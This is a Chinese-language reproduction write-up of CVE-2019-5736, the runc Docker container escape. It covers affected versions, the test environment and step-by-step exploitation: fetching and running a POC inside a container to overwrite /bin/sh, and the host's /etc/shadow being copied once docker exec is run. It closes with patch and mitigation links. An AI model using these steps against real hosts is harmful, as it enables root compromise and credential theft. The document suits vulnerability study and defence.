CVE-2019-5736 docker escape 漏洞复现
本文简述CVE-2019-5736 的漏洞信息并记录一下复现过程,最后演示一下实际场景中的RCE利用效果。
0x01 漏洞详情
CVE-2019-5736是2019年2月11日在oss-security邮件列表披露的runc容器逃逸漏洞。
首先翻译一下mitre中的描述。在Docker 18.09.2之前的版本中使用了的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,因此可以感觉以root的身份执行命令,导致获得宿主机的root权限。利用方式:
- 宿主机利用攻击者提供的image来创建一个新的container 。或
- 拥有container root权限,并且该container后续被docker exec attach。
一句话描述,docker 18.09.2之前的runc存在漏洞,攻击者可以修改runc的二进制文件导致提权。
影响:
- docker version <=18.09.2 (然而实际测试的结果是docker version 18.09.1失败)
- RunC version <=1.0-rc6
REF: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-5736
0x02 环境准备
环境:
OS: centos7
$ docker --version
Docker version 18.06.0-ce, build 0ffa825
$ runc --version
runc version 1.0.0-rc6+dev
commit: 2b18fe1d885ee5083ef9f0838fee39b62d653e30
spec: 1.0.1-dev
# Notice
# I tried to reproduce the vuln on docker 18.09.1 but failed.
# After ran POC,you can only see: Successfully got the file handle.
# Docker version 18.09.1, build 4c52b90
自动化安装vuln docker的bash script:
POC:
0x03 利用过程
由于有两种攻击场景,这里使用比较常见的第二种场景。
- 根据bash script安装好vulnerable docker
- 下载编译container中需要用到的poc
- 执行poc(为增加攻击成功概率,可以再修改/bin/sh,/bin/bash,/bin/zsh等文件,那么docker exec即使是非交互模式下执行命令时也会触发)
- 等待宿主机中执行docker exec命令
参考bash script,这里在啰嗦一下实际场景中需要的步骤:
- 在macOS上使用go交叉编译POC
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go
- 在docker的container中执行:
# need root privillege...
apt-get update -y && \
apt-get install libseccomp-dev -y && \
apt-get install curl -y && \
curl POC -o ./poc && \
chmod u+x ./poc && \
# 执行poc
$ ./poc
[+] Overwritten /bin/sh successfully
-
等待宿主机执行docker exec命令后,./poc的输出如下:
-
在宿主机上我们发现:POC中的command被执行:,shadow文件被copy到tmp目录下。
(对于宿主机而言,docker exec时会报错,但是不影响命令的执行。这里出现seccomp_version的原因是安装的seccomp-dev版本过低。如果版本没问题,会报错No help topic for /bin/sh)
0x04 RCE效果演示
0x05 漏洞分析
这个漏洞的发现过程也很有意思。灵感来源于35C3的CTF比赛。这里先贴一下两篇深度好文,有时间具体分析一下。
- 影响大量云服务厂商的严重漏洞:runC容器逃逸漏洞分析(CVE-2019-5736)https://www.4hou.com/vulnerable/16165.html
- 打破Docker:runC容器逃逸漏洞的深入分析及多种利用方法(CVE-2019-5736) https://www.4hou.com/vulnerable/16361.html
0x06 参考
漏洞mail list:
漏洞修复:
- 修复runc漏洞CVE-2019-5736的公告(直接升级docker会导致业务中断,可以只升级runc二进制文件) https://help.aliyun.com/document_detail/107320.html
- patch commit:https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b
其他:
- runc容器逃逸漏洞最强后续:应对之策汇总与热点疑问解答 @RancherLabs https://my.oschina.net/u/3330830/blog/3010351
- 影响大量云服务厂商的严重漏洞:runC容器逃逸漏洞分析(CVE-2019-5736) https://www.4hou.com/vulnerable/16165.html